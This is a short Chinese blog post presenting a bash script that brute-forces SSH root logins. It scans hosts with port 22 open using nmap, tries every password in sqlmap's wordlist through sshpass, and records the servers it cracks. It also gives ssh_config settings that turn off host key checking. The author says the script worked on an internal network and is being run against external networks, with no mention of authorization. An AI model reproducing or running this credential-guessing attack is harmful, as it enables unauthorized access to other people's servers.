链滴

shell 循环示例

作者：up

原文链接：https://ld246.com/article/1525885151368

来源网站：链滴

突然间懵生了一个想法 然后就做了 内网已经测试能够成功 外网正在测试，字典比较大估计要跑好几天

先把脚本贴出来：

```
#!bin/bash

gateway=172.16.80
#nmap -p 22 172.16.81.* |grep open -a3 |grep for|cut -d " " -f5 >hosts
hosts=`cat hosts`
pass=`cat wordlist.txt`
#sshpass -p "yuan" ssh root@172.16.81.73 "ls"
#[ $? == 0 ] && echo "the server is ok "
for i in $hosts; do
    echo "正在准备请稍后"
    for p in $pass; do
        echo "server is $i passwd is $p"
        sshpass -p "$p" ssh root@$i "ls"
        [ $? == 0 ] && echo "这台server $i已经破解 $p" >>server 2>&1
    done
done
```

hosts 是通过nmap 扫描出来22端口为开启状态的主机

wordlist.txt 是sqlmap自带的暴力破解字典 大概11M左右

ssh_config 添加配置：

```
1.  StrictHostKeyChecking no
2.  Compression yes
3.  ServerAliveInterval 60
4.  ServerAliveCountMax 5
5.  ControlMaster auto
6.  ControlPath ~/.ssh/sockets/%r@%h-%p
7.  ControlPersist 4h
```